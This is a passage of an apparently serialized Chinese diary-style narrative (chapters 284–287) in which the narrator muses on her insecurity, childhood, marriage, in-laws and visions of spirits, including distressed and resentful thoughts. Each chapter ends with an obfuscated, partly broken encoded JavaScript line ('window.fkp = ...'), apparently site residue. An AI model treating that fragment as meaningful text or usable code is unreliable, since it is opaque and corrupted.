    如果对号入座我认为我是一个什么样的人呢？我不太抱怨。抱怨很少，至少我自己感觉是这样子的。然后我胆子小，从小到大我很少举手发言。但是老师会点名回答问题，我回答的出来，不紧张。而且他们教的内容，我听的懂，而且他们教我的时候，我能理解领悟。但是我工作的时候就不会，越干越不会，很神奇耶！然后生活的时候，和老师讲的也是另外一个场景。但是我的生活我并不会很讨厌，我很喜欢，说我邋遢吧！我又每个月整理一下，说我不邋遢吧！我又不是每天整理。然后脑子里一直在响一屋不扫何以扫天下。意思就是需要整理自己的房间，整理自己，才有可能做大事，但是我好像并没有那种有成就伟大事业的想法，就是没有什么野心，但是又有野心。就是这么奇怪的一个人。我可能形容的不贴切。就是我没有野心，一切随遇而安，非常的享受过程。但是我又有野心，而这份积极向上的心态，让我非常的难受，难受在于我做不到，但是我又必须得做，而且我没有感觉到我做这份事情的意义是什么？
    意义很重要，我在找。为个人为国家？可是我该怎么找到？
    有时感觉这样子的自己很疯癫，每个人都是这样子过的，为什么要去思考那么多没有用的事？这能给我带来金钱吗？没有。可是哲学还是比较有意义。因为经历过什么也学不进，什么也没有办法思考，对别人的话唯命是从，麻木的就像一个机器人一样的经历，所以知道这些思考的东西可以给我的内心带来力量，那种力量可以让我感觉我活着，不是一件可有可无没有意义的事。就算我的思想就像抛了锚，没有在正常的轨道上运行，可是那也是我的思想，这是独一无二的。有的时候会去想我会不会上天造人的残次品，为什么那么奇怪，有的时候我也想笑，一思考就想笑，但是这就是我的样子。就像心灵奇旅那个奇怪的灵魂一样。不知道为什么看了我很想哭，那个电影。可能感觉自己就很像它，所以会产生共鸣吧！什么都学不进，学不会，做不好，每天都在挨批。挨自己的批评。但是为什么会这样子呢？
    搞不懂！搞不懂的事很多。
    就像喜欢美好的东西。买了又不用，看着又喜欢。就像拖延。知道马上做会对自己更好，马上做完以后休息玩，心里都会更轻松，但是知道了也就是拖延，拖着不做。拖着不动。不知道为什么？没有行动执行能力，为什么没有呢？什么原因呢？不知道。
    什么原因导致我是一个懒鬼呢？没有乐趣，为什么会没有乐趣呢？干家务活那么难吗？一顺手的事情就那么难吗？可是有的时候又很快，很有干劲那种干劲一来，就很有动力，很让我惊讶的动力。什么原因？
    还有的时候是看到了一片多肉长了根，感觉很开心，那种开心的能量，很快乐，让我感觉自己生机勃勃的，和那片叶子一样快乐。
    可能我需要养养花，我老公养了很多。我没有去给它们浇水，家婆家公他们会浇水。我买的花死掉了。很难受我的花死掉了。
    我也不知道为什么我那么难受，那次的天气太热了，花全部都坏了，没有活多少天，我也知道那些花会死，买之前就知道，因为我并不是很想买，但是我心里又很想买，希望买了会开心，然后在纠结而犹豫之间就买了，然后那些花死掉了。很不快乐。难受。就像脑子里冒出来的想法一样，去判断这些想法不好，然后后面的几十天就会一直在脑子里闹腾，然后不去管它，也会时不时冒出来。以前在一本瑜伽书里看到过，这个内容，大概的意思就是学会平静的心态去看这些想法，然后去感受它们，但是不做评判，然后接纳它们，就可以了。可是做起来我感觉很困难。以前学的时候，不觉得难，甚至不理解为什么脑子里有很多的思想这一件事，因为我的心思没有什么杂念吧！后面工作了以后就发现容易有很多奇怪的情绪，想法冒出来，越是压制，越是反抗的厉害。比如一下子没有注意，我就会觉得自己很笨，剩下的几十天脑子里都在反抗这件事，不停的告诉你，你不笨。如果没有去接受它，那就一个劲的冒出来。
    可能我表面上是一个谦虚的人，但是实际上不适合我。但是谦虚是一个很好的保护色，我也不知道它在保护着我什么？但是就是会让我有安全感。安全感怎么来的我也不懂。
    我记得一个事，有一次，我写的作文被老师夸奖了，我很开心，但是其实也没有太开心，然后回家的路上，一个同学说我不能骄傲。原话我忘了，大概就是她觉得我得意洋洋，看不起她，或者是其他的吧！具体我忘了。她希望我不告诉我的家人，因为我们两个一直在做对比，我同意了。但是也很落寞，有一种落寞的感觉，不然她就不当我的朋友，但是后面她也没有和我怎么玩过。我也不知道为什么会想起这个来？那个时候我想书上说人不能骄傲，要坚持不懈，再接再厉，但是得到了夸奖，又不能感觉到快乐，那学到了又有什么意义呢？后面也就懒洋洋一个。读书的意义是什么？我不明白。后面书上上人需要骄傲，也需要谦虚。就像一个公考题，意思就是做人面对事情要好好展式自己的能力，告诉领导告诉他人你是一个有能力的，在这个时候就要拿出骄傲的本钱，告诉领导同事，这事你可以，这个时候不能谦虚。但是又需要谦虚，踏实做人做事，把事情做好。但是这个事发生在我小学三年级。好像，反正我不大。为什么记得那么清楚，就是人生岔路口。
    可是后面我也真的比较谦虚。没别的，因为我不太在意。无所谓有无所谓无，就还是懵懵懂懂的样子。老师天天教，教的他话都说麻了，我仍然不晓得他讲的啥？后面等我小学毕业了，某一天突然走在乡间的小路上，突然之间就知道老师到底讲的什么了，可是这件事已经过去了很久。
    这种状态很像情感的思维和自己年龄该有的思维对不上一样，可是这只是我的感觉而已。也有可能我到豁然开朗，柳暗花明的那种感觉就是那一刻而已。就像某一个老师说的，他一直学数学没有天分，某一天就这样子一直翻书看一直看，突然之间就看懂了，就像神仙给他点了魔法药水一样，什么灵丹妙药一样，他就懂了。然后学起来就很有天分，然后就做了数学老师，他也很热爱这份职业。所以他教我们要翻书，翻着翻着就会了。
    我想到了我的数学书，被我同桌扔到地上弄的很脏的事。我并不想和他做同桌，我很想一个人，但是老师很希望我会有朋友，后面，就把他当成了我同桌。他看起来比较小，和我是亲戚，但是其实也不是亲戚，但是我认为是亲戚。然后有一天语文课，我发现他在抄东西，好像是考试作弊。我不喜欢，但是我也没有去讲，我看到了他脑子上面，的空间有一层很幽暗的脑袋出来，他那个时候还在笑，说我胆子那么小，我不知道那是那个脑袋讲的，还是他讲的。总之我胆子小，对这种未知的奇怪的东西产生了恐惧的感觉，然后我在微微的发抖。出冷汗。后面那个东西它走了。后面那个同桌就像着了魔一样，我看着他把我的书弄脏了，凳子也被他弄脏了一个角。后面我不记得他有没有当我同桌了。
    我记得有一个女同桌。她叫我一定要掐醒她，万一她上课睡觉的话，然后我真的很听话的用力掐了她的腿，她给我的感觉，她很不开心。然后还和其他人分享了她的不开心。我愣愣的看着她们。后面她没有和我做同桌了，怎么换的我也忘记了。
    也许我的情商不太好？这个和情商又没有什么关系，我没有考虑到力度。而且那个时候她真的睡着了，要是她没有叫我掐醒她，那么我就会视而不见。但是她叫了，叫了那就这样子做呗。不知道为什么想到这个？可能我想评判一下我有多不聪明，没有考虑那么多，可是我只是照做啊！所以别人叫你做什么，需要去思考怎么做更好。对自己没有损害。这个理很容易懂，但是不知道为什么很难做到。
    这让我想起了，很小的时候，奶奶教我做的事了，我按自己想的来，她好像很不高兴，我也不知道为什么她不高兴，可能我自己想的做事方法不对，因为那时候太小了，可能几岁，三五岁的样子，所以她会希望我按她的思考来做事。所以就按她的想法做事了，但是做了又会挨批评，说这件事是我干的，如果不干，她就会发脾气说我不干，干了就是我的错误。这种事出现过好多次，为什么会这样子，可能她在锻炼我的情商吧！然后我就被玩的团团转，按她说的做，会挨骂，不按她说的也挨骂。后面我怎么解决的呢？我没有怎么解决，我也没有去思考。就直接讲奶奶叫我干的，如果爷爷问起来的话，但是这样子奶奶好生气，说不是这样子。但是究竟那样子，她也没有说清楚。我也不明不白。
    这种场景出现了很多次，从小到大，但是我的情商是一点都没有涨。需要很好的说话能力，做事能力，人家才会心甘情愿的教你，把正确的东西教给你，这就是很复杂的事了，我到现在也没有想出来，如何应对。像我们的人际关系的考试题，做人做事。如果老同事教了你，但是领导说你这样子做做错了，而老同事说这不是他教的，他不是这样子教的，如果我说老同事就是这样子教的，老同事就不教你了，如果说我错了，下次改正。或者想办法请同事吃饭吃果子，团结人际关系，同时需要好好照顾同事的情绪，那么这样子的事就会更少，但是我不干啊！就算知道了正确的方法套路我就不按这个常理出牌啊！所以久而久之，我就在科室没办法干下去了。为什么我知道这样子的事，我仍然不干呢？对我没有什么坏处。能够在一个地方好好生存，这就是一个技能。就算什么地方都要有这样子的技能，好好说话，好好做事。就像成家了一样，有人会来我们家里，我们会好好招待他们一样，人没有办法不去交往。虽然我也想活在真空状态，但是人就是要与人交流的。
    为什么会这样子工作，做事呢？工作的技能一点也不难。人际关系的技能一点也不难，稍微一下子都能开窍。为什么心里那关过不去呢？
    钱很重要，重要到用到刀刃上，这种也是刀刃啊！但是就是不想花一点点投资。一点点都不想。也许在我的脑子里认为这个没意义？或者太穷了，虽然知道花这样子的钱，有价值，可以带来立足的价值，但是目光短浅，不想花。因为幼年时期太过于贫穷的经历。有对花钱请客有心理阴影？或者我认为没有价值，这是花钱请酒肉朋友。所以心里不情愿请。但是他们不是朋友啊！就是一起上班的人。我们需要别人的帮助，所以需要花钱做这样子的事，但是我又不干，不喜欢干，他们也不会白吃你的，他们也会花钱请回你，并不是说对方在欺负你。但是就是不干，这是我不理解的心理状态。我很想知道这是哪一种心理？什么原因？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第284章

    刚刚休息了一会儿，突然想到了一个梦境，也有可能是好几个辈子以前，也有可能是看书学习或者看电视。有一个人物，我产生了一些想法。就是一个角色他可能是地主家的傻儿子，人傻钱多的那种，或者类似于榜一大哥。反正很有钱，然后他有很多酒肉朋友。天天请他们吃喝玩乐，然后到了危难之际没有一个人给他伸出援手，让他感觉很冷，看清了世态炎凉。这种角色给我感受就是愤怒，愤怒于花了很多精力金钱却落得了这样子结果，可能这就是我不喜欢请客吃饭的原因吧！也许在我的心里把请客吃饭和酒肉朋友画成了等号。
    长大以后，就特别的抠搜。本来是教我们要交真朋友的，不知道为什么我看到的是这个？一千个人看哈姆雷特，有一千个哈姆雷斯。
    只有利益不会背叛你。只有永恒的利益，没有永恒的感情，人都会变得。但是重感情本来就是我的特点，如果我没有了感情，那么我就不是我了，我变成了其他的。我也讨厌过我这个样子，但是这是我的天性。伪装不了，很多次我也很羡慕人家做事果断，干脆利落，但是我就是这种人。学了别人一段时间，后面还是会变回原来的样子。这种就是本性。
    然后还想到了一个很大的灰色的脑袋，他在我得过奖的时候出现的，那个时候班主任给我弄了一个奖，然后他就出来了，说我的坏话，说我小时候被他欺负的很惨，会吃石头。好像是一群男孩子，他们好像是人又好像不是人。我也记不清了，然后那种强烈的难受的感觉就那样子把我包裹住了，特别痛苦的感觉。他到底是谁的灵魂？我也不晓得。我都不知道我认不认识他。也许有很多平行空间，他在另一个平行空间里欺负过我，然后他又跑到这个空间告诉我了，无意间他看到了我的样子。可是这个空间没有出现过这样子的事，也许是小时候发生的，然后我不记得了，我忘记了这个事。或者刻意想不起来。
    然后我就很难受了，后面就不想好好学习，我好害怕那种事，等以后会人尽皆知。为什么会害怕人尽皆知？为什么会有这样子的恐惧？怕自己的家人会受伤害？怕自己保护不了自己？为什么遭遇了一堆的烂人还要去爱这个世界？这是那个状态的我思考的。我不知道她经历了什么？灰色的很庞大的灵魂，可能我比较渺小，很小，对于她来说我就像一粒尘埃一样，可是那个时候她就在我的灵魂后面。我不清楚她是东还是天使。也不知道她是好的还是坏的。就是那种很强烈的悲愤的情绪。这就是人家的劫难。每个人都会碰到吧！只不过他们挺过来了，我没有在那个时候挺过去。一撅不振。这是什么？我不明白。可能这个就是命运吧！命运安排她过来。把我指引到该去的路。如果那个时候很快乐，自己得了奖，那么就会很开心，变得更有干劲，然后再创辉煌，然后成绩突飞猛进，然后上重点高中，大学，然后成为一代豪杰？为这个世界贡献自己的价值，家人为我自豪，骄傲，砸锅卖铁。但是并没有，就算没有这一次我也会载在其他的跟头上。因为我太过于理性，其实这个世界需要多种多样的人才，人才不会只有一种能力，良好的认知能力，观察能力，人际交往能力，应急应变，综合能力。这又不是光在嘴上说，或者做。而我的话最重要的还是那个心，可能这个灵魂出来的原因，就是在考验我的心境吧！我没有过关。
    我有一段时间一直在郁郁寡欢。因为我没有过关，就像爷爷说的，你的心性很好，但是胆子太小了，其实我还有很多原因，不只是胆子小，我还容易意志不坚定。容易变成墙头草，见风使舵。因为没有安全感，因为服从于权威，因为胆子小。可是这不是我想要承认并且面对的。还有对人的恨，这种恨很特别，像是一颗树木的灵魂，它爸爸被砍了可能做木板，可能烧了，反正用了其他的用途，然后它住在了心里，所以有了恨，莫名其妙的恨。对于我来说是莫名其妙的，但是对于它来说是自己的亲人被人杀死了。这会不会是一种想象。或者我比较慈悲？喜欢一颗树，然后树被砍了，很难过。就像有的小孩子，他们养了很久的鱼，被自己家里人吃了，还告诉他们真香啊！就像养了的小兔子，然后吃掉了。那种难受的感觉。不知道是不是。我对此是这样子理解的。
    这是小时候的我。我又时在想小时候的我是不是从来都没有长大过，它就像彼得潘一样，以前我是它后面它变成了弟弟妹妹，再后面它变成了我宝宝，等我们都长大了，它还是没有长大，也许我死亡之后会有答案吧！暂时不需要花精力去想这个事，但是有这种念头就写下来吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第285章

    想到了什么写什么吧！不知道为什么想到了一个老师，我以前从没有和她见过面，但是她的姻缘是被裁掉了。和我有关。不知道为什么，也许她是另一个世界的我，我感觉到了她很不快乐，就解决了。但是我也不知道这样子的她快不快乐。很奇怪。就像我走在她面前，就感觉自己在嘲笑她一样，明明她的状态很好，我也没有说什么，然后后面她就离婚了，她说算了一把确实会这样子。但是这也太巧了，后面碰到了其他的人。大部分没有这种感觉。还有一个老师，我感觉她表面很快乐，可是她很难受，我也不知道她哪里难受，但是她又不会把难受藏起来，会表达出来。而我们周围的人并没有对她有恶意，但是给我的感觉就是这个人又希望别人对她有恶意。这是我搞不明白的。不快乐，可是不会让人发现你不快乐，而且没有安全感。表达了，可是我听不懂。我不理解为什么会这样子。
    然后就是下一个人，她很胖，但是她的情感还好，会玩游戏，不怎么带娃。不知道为什么会想起这个来，让我想起了一篇小说，小说里就是男女主角是初恋，然后他们就相爱结婚了，结婚后的生活一开始很美好，后面时间长了，妻子渐渐的不快乐，后面有种让丈夫离开的念头，后面妻子缓过来了，家里重新有了欢声笑语，然后丈夫的念头就消失了。就是这么一个简单的事。当然作者写的好。表达的意思就是你开心了，内心里面有力量了，家就不会散掉，并不是说你胖，或者你的容貌，不是因为外表和容貌而爱情而消失的，而是内心里的能量。但是很难。我感觉我在家里并没有很快乐。这不知道是不是我的问题。
    总让我感觉我在家没有爱与归属感。我很想知道为什么？但是我不知道。其实也知道，我也说了。我希望我老公可以和我谈谈，一起聊天，但是我老公要打游戏。和他的兄弟愉快的打游戏，然后打游戏到半夜，再看娱乐性节目，然后就睡觉，这样子一天又一天的。一开始我会闹，后面我不闹了。闹的多了还不如看小说，做事。有的时候感觉他身体里的负能量很黑，就像十几斤的黑色棉被一样覆盖在他身上，但是他不说。我也不好问。以前问过，但是他有他的看法，他希望自己可以有能力不把工作情绪带到生活里来，就是希望自己不会影响别人，差不多和我一样的人，但是这好像也不是最优的方案，但是他有时也说过，他工作不快乐的事，但是我感觉我的反应就是特别的想批评他，并没有接住他的负能量的本事，但是我心里不去讲这个事。可是他听得到啊！所以他不讲，我也不问。这不是最优的方案。解决这个问题。结婚过日子如果自己老公心情不好怎么办？
    没有老师教你，这都是摸着石头过河。批评肯定不好，但是我没有用嘴巴讲出来，但是他感觉得到啊！他感觉的到我在批评他啊！即使我没有讲，后面我问他是哪里导致不开心，他说是生活上，生活上，我就不知道了。我不关心这个事。他又不讲，他以前说过不要生闷气，以后多吵架，后面我真的干了，他又不讲。更生气了。
    我感觉我想睡了我家公的原因，就在于我老公没有表达他对我的关心。也不说话，而家公不会啊！一个嘴巴呱呱呱，就像几百只的青蛙一样，想不引人注意都不行。
    叫他和我一起散步，不去，他要打游戏，叫他陪我去买药，不去。后面我叫他弟弟陪我去的，他后面道了歉。也许有的事情不是道歉能够解决的。有的时候脑子里还会有很多的冲动，很想让他负债几十万，大不了鱼死网破，你拉我下地狱，我也拉你下地狱。就是那种很强烈的恨，爱是恨的根，我也不知道为什么会这样子？我需要的只是他陪我聊会天，分享欲。但是我明显感觉他感觉我很烦。所以沉默了，他会用心去照顾他弟弟的情绪，会陪他弟弟玩，会陪宝宝玩，但是他不和我聊天。冷暴力吗？我也不知道。有情饮水饱，没有感情的话，我就多买两件衣服暖暖身子。这也就是我花钱很快很冲动的原因。这并不是我喜欢的。我本来以为我们可以一起过清贫的生活，然后慢慢的日子好起来。但是没有。我做的和我想的是相反的，而且花钱冲动，内心还不快乐。真可怜。我在想为什么会这样子做呢？
    精打细算。可以感觉抠搜的快乐。但是没有。就像自己被什么鬼附体了一样。我不像原来的我。原来的我也很穷，但是至少内心的世界是快乐的，也看小黄文，但是也是快乐的。
    梦里面有一个场景是红色的我周围围着几团黑色的能量，他们说我拆掉了人家的红线。然后就一直围着我。这是我的心魔吗？不知道耶！后面我家里没有了，但是后来在自己家又看到了。黑色的很强烈的能量。后面变成了白色的灵魂，周围也围着这样子的能量。
    其实搭错红线很久以前就有，而且很久了，要是织毛线去了，还容易发生战争。但是这不是我弄的，这是我看到的，很奇怪的灵魂，它很不开心，不快乐就会做这样子的事。真的有情人终成眷属的，拆不了的。
    以前也会有这种冲动吗？没有。但是现在的自己真的比以前更开心，但是这种莫名其妙的恨又不知道哪里来的。也有可能是因为我是工作人员，以精神力上班，所以我在承受别人的婚姻痛苦，所以很难受。希望我能找到一个很好的方法。解决这个难题，太难了。我的天哪。
    以前我回家，我感觉很累，整个人都是灰色的，然后结婚以后回娘家，我感觉我的灵魂很轻松，很自然的愉快的感觉。但是另一面的我仍然没有感觉到快乐。我也不知道为什么。
    我好像有两个我。但是这不是灵魂分裂。这是命里面有的。一个我喜欢阳光的一个我喜欢安静温柔。记得那次楼梯没有灯，然后传金就走在我前面，然后那个时候我感觉他很好。笑起来很温柔很好看，后面那个时候感觉到了灵魂里出现了一个很奇怪的灵魂，那个也是我的灵魂，很小，但是她我不知道是什么。后面就有了电，回教室上课。其实没有电，我们也是回教室上课，那个年龄段的我，只有好好学习的念头，至于为什么会感觉他好看，那是因为人家年级第一名，而且年级第一很久了，学神一样的人，自然是令我敬仰的。你想想这个画面就知道，一个学神，他学习好好，对吧！还很温柔！然后他还会指点一下。搁任何小说里都是男一号的标配知道吗？不过我那个时候，只希望自己能够学习很好，最好能够超过他。没别的想法。没超过，要是超过了，即使笑容很美。也就这样子。后面工作了，会和他聊很多很多，很烦人的我，但是我也不知道为什么。可能我太难受了，梦境里他是能够帮我的人。
    但是那个特别的灵魂，我记得她的样子，但是我不明白她出现的原因是什么？还有一次，就是在一次考试的时候，那个考试并不是很重要。对我来说。然后学的内容其实都会，然后在做题的时候，看到了自己灵魂里一团奇怪的灵魂，那个灵魂暗青色的，然后像一个小球一样，然后那次的考试，我考得不好，而且内容不算难。所以我记住了这个灵魂，但是我也不清楚，那个是小学五年级出现的。这个意识可以感觉到不是我的，以前从来没有看到过的灵魂。后面我记得，它怎么走的了，反正我向来都是奇奇怪怪的。然后就呆呆的放学回家。也许那个灵魂是一个死去的人。也许是捡垃圾的时候不小心碰到了那个死去的狗子的灵魂也不一定。那个时候勤俭节约优良美德，然后还可以美化环境，捡矿泉水瓶子之类的。后面那件事的感受，就是没有感受。我都忘记了，这个事。就记得这个画面。但是不知道是什么。
    但是那一次上楼梯不是。那个灵魂很奇怪，像灰色的红。一样，而且很不开心。然后有那么一瞬间，传金给我的反应就是他感觉我有病，然后那种美好的情绪就像泡泡一样碎掉了。但是知道这是她动的手，也许这就是缘分。缘分的小孩子就像这个样子。他那个时候说我还是不太懂。我不知道他讲的什么。可能他并没有说我有病的意思，但是那种控制就会让我感觉他觉得我有病。那会是另一个世界的我吗？不了解。
    现在的也是这样子，我感觉我很开心，因为我看到了我的情绪，它的样子很美，很漂亮的颜色，但是另一个我又不快乐。是黑色的，灰色的，不开心的。非常沉重的感觉，沉甸甸的，特别的有份量。我也搞不懂这是什么。一个是情绪上的快乐，一个是理智上的快乐？可能吧！就像冲动的感觉自己没有头脑，所以我的内心很不愉快。以前是理智很快乐，控制的厉害，所以感觉自己快得了抑郁症，买什么东西都不买，感觉自己活着没意思，有钱也不买，买给父母姐妹，就舍得。或者一买就买贵的，买了又不珍惜。所以很难受。现在就不一样了，想买，就花钱，或者过一段时间买，但是一定会买，但是买了以后的结局也不是很好，要么会坏掉，要么不好，但是总分来说会买。至少情绪上没有感觉到我在抑郁。但是理智上，会感觉自己很沉重，好像身上压了几百斤的石头一样。很疲惫。
    为什么呢？不知道吗？写这个时候右眼会流眼泪，但是我不理解这是什么情绪。其实就是理智上很难过吧！难过在于我没有好好搞事业，没有把自己倒腾好，以前至少是有追求的，而且坦荡明亮的。而现在懒得要死，也不去追求什么。没有把生活和工作里的自己照顾好，爸爸说希望我以后工作了，能够把生活工作一起照顾好自己。但是现在的我没有做到。很不快乐。也许吧！其实我搞不懂这个。
    我并不想要有奇怪的念头，比如想睡了我家公，但是我老公的反应让我感觉很难受。还是我本来就比较容易变成这样子，如果哪一天老公去了外地工作，那么久而久之我就会忘记他，喜欢上家公吗？这一瞬间突然懂了为什么姐姐他们老公在外地上班离的远，所以她也要租个房子，或者妹妹，她宁愿住乡下也不和她家公一起住。懂了。又好像没有懂。
    反正婚姻很头秃。家公比较强势，然后老公给我的感觉就是他是不会正面刚的人，但是他仍然可以得到家婆的喜欢。用他很奇怪的一个方式。就是生病吧！用这种特别的方式去获得父母的爱。如果他没有办法挑战他父亲的权威的话。这也没有办法挑战。这就是三岁左右没有好好培养父子感情的人。家公和他妈妈的关系就更复杂了，奶奶她和爷爷的感情，她自己说不好，会吵架，然后家公好像是第一个孩子，他们之前还有孩子，但是死去了，生了八个活了三个。他和奶奶的关系，我看到的就是他好像很嫉妒弟弟，也就是叔叔，因为爷爷奶奶都很关心叔叔，他就像一个很中二的熊孩子一样。表现并不像五十岁的大人而是十几岁，得不到父母喜欢而不断的张扬像一个刺头一样吸引注意力的感觉。希望所有人的目光都在他那里，不会被人夺走的感觉。好像一直在讲，妈妈看看我。老公弟弟有时候也是这样子。但是弟弟好起来的时候特别的乖巧，那种状态的样子，让我不明白。搞不懂。而且也看得到他那种状态的精神力像一团灰色的水一样，从身体里出来。好奇怪的感觉。
    宝宝的就是很奇怪的感觉，她周围就像一团灰色的能量，那个能量在家婆的身上，然后宝宝要学拿筷子拿碗，家婆比较忙，没时间教，我也不怎么教，然后她不停的要拿碗，然后就是不给，一定要按大人的方式来。后面宝宝就变得不开心了，然后时间长了就生病了，后面全家都生病了，不过我们并没有那么多时间去教小孩子学习技能。就算家婆懂。我也懂，我们都会默契的装作不懂，奶奶也懂，也一样的，因为我们在玩政治。
    不是因为我们太穷没有钱，而是因为我们不够爱。不够关心对方，也没有把对方当成一家人。所以我感觉很咸了，考虑高血压的家婆，家婆会认为我是嫌弃她做的饭菜不好吃，嫌弃她没有文化，她说她也嫌弃她的家婆没有文化乡下来的，但是不带偏见去看，家婆也好，老公奶奶也好，这些东西和没有文化都没有什么关联。
    我以前也会嫌弃我奶奶没有文化。我亲奶奶。我也不知道长大了以后为什么却很感激她，可能知道她透支了自己的生命，帮你求来了一份姻缘，可能明白她教给你的内容，没有高大上的学科知识，但是很简单的道理，可以让你度过很难的关卡。可能终于长大了，明白有人照顾你点点滴滴，很重要。就像我家婆她也是照顾我点点滴滴。虽然我知道我不是她生的，但是我知道我看得到，可是如果她逼我给她钱，我就不给，我宁愿没有钱，我都不给，但是如果人家不说我会给，就是那么奇葩，我老公需要给，因为那是他亲妈。我搞不懂这个状态，为什么？因为被逼迫的感觉不好。如果逼得紧，可能我就会离开吧！我为什么会很强烈？感觉有一股很强烈的情绪在我心里，以前不会。以前我老公会把钱交给家公还债，我的会交给家婆买菜，因为我看得到她很辛苦，她又要整理房间，又要做菜带娃。后面有一次她暗示了一下，想要我给她钱，我就很不爽。然后再就是看到了一个视频，大概的意思就是叫我给钱，然后我就巴不得自己工资少发点。告诉她我没有钱。为什么会这样子？我不理解这个状态。我老公暗示，或者我老公讲，我就会给，我家婆对我暗示，或者怎么样，我就不爽，搞不懂这种关系。很奇怪。而且想起来很气愤。很多黑色的情绪能量，而且特别的猛的那种。
    婆媳关系一直让人头秃，为什么会这样子？难道我触到了整个世界的负能量，所以那么猛。
    真的很神奇。所以为什么要结婚呢？结婚的意义是什么，让我明白我父母的难处吗？可能吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第286章

    感觉到了很强烈的精神力，就像一条很厉害的毒蛇一样。很强烈。这就像另一面的自己一样。她说了什么，不过我很困，没有怎么听清。全黑色。
    不知道为什么会这样子。这两天很奇怪。家丑不能外扬。但是如果不快乐，别人是看的出来，就像你看的出别人的难受痛苦，我也看得到我的内心难受，那种难受我不知道该怎么去化解理解。
    我该怎么去理解化解。那种感受。真的摸着石头过河。真难。
    睡不着，我的周围附近，好像有一个黑色的女子在说不要让她输
    那么惨。
    这究竟奇怪我的情绪还是别人的情绪？
    看了一会儿僵尸新娘，没有看完，只看了一半。不太能懂。看完了才能懂吧！地面上的人生特别的累，死去的世界居然是彩色的，然后让我想到了寻梦环游记。这个电影好看。也是死去的世界。但是很温暖。
    睡不着，比前几天更难受。不知道为什么会这样子，够起来了那种难受的情绪。可能我是个衰人吧！衰人命本来就是这样子。天生是这样子的人。
    改怎么去化解自己难受的情绪？听歌？看书？画画。把那种恨意写下来。
    我真的该怎么办呢？然后在黑暗里面，我的灵魂好像一直在哭，她说我没有培养她，我抛弃她了。她也很羡慕有一个像我这样子姐姐的妹妹。她说过很多次。不停的在闹。可是我很想写下来。好多天我都没有去写。
    我也不知道我为什么要去拖延，和自己内心的想法。我好像和自己的内心产生了隔阂，很深，很远，她感觉到的，我感觉不到，我感觉到的，她感觉不到。总是不能同时接受一样的信息。这种就很像精神发育迟滞一样，可是其实并没有，但是我会这样子定义。因为我把她藏起来了，很小时候的，把她藏起来了，就可以让她在一个安全的地方待着。那样子就不会变得很难过，曾经发生了很难过的事。但是时间太久远了，我忘记了。潜意识记得，产生了很多黑色的东西，把自己盖住了。
    我记得一个场景，那个场景里是去学校，爷爷说希望我去上高中，他和校长联系好了。分在了哪一个班。然后我碰到了奇怪的灵魂。那个灵魂很大，很像我自己，她一直在很强烈的问，你的家人他们爱你吗？然后我看到了她，可能她不能被我看见吧！然后我就变傻了，我回答的好像是为什么你要去问这个问题？问不就意味着没有吗？没有的东西才会去执着追求答案。就像我的智商一般一样，其实我一直知道我比较愚蠢，所以才会执着的追求智慧。不停的去学习。更新自己的见识。也就是因为我不愿意去接受这个事实。而变得很难受。后来慢慢的平静的接受了它。接受自己其实不聪明，努力学习的自己固然很棒，但我是从愚蠢的丑陋的自己长出来的，就像那篇爱莲说一样。美丽的荷花，莲花从淤泥里生长的，是那些淤泥提供的养分，如果我本来就是智慧的，那我的追求的目标根本不是变得智慧。肯定是其他的东西。
    好像扯远了，那个时候爷爷说这种事，没办法做到。家人的爱，能体现在什么地方呢？下雨会给你送伞，会接回家，上学会准备早饭，很早起床，习惯成自然，想要的爱意会是什么呢？饿肚子的话，吃饱了就会感觉到很幸福，很温暖。如果没有痛苦过，怎么知道舒服是多么美好的一件事。
    我的难受这种难受，从哪里来要到哪里去？我不理解。老公对我还好吧！那段他接送我回家的日子，可能日子久了，在模糊这段回忆，但是时间真的一直记得到。很久。很长一段时间，他都很好。后面生了宝宝，他会和我一起带。
    但是生完了那段时间确实让我很心碎。然后我们在吵架，那段时间就吵架吵没了感情。每回忆一次，就再痛苦一次，折磨我也折磨他。也许可以用魔法或者其他的东西把这种能量藏起来，但是这不是根本的解决的办法。爱是恨之根。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第287章

    睡不着。凌晨一点多了。
    然后艰难入睡。我感觉我是不是被什么邪气入体了，这是。
    然后梦，梦见了路易。路易的抽屉里有一本本子，她叫我写上名字。她说太多人了，所以她都没有怎么收拾。然后我拿了那本小册子。有没有写我的名字，好像写了。好像没有写。然后她是世界的另一边拿那本小册子。我写了还是没有写。不知道。
    梦境里她替换了传金的角色，不过我不太喜欢她替换掉。我们又没有发生什么。就是学生时代的友情。
    模糊记忆并不会给我带来更多的救赎。
    然后梦到了一个房子，那个是一个祠堂。香香姐姐的家，梦见老师在那里守门，然后我上楼，看到了一个新的房子，工人说还没有做好，一踩过去，那个砖就往下掉。梦里老师说希望我可以去那里守门。我不知道梦里的我有没有答应。
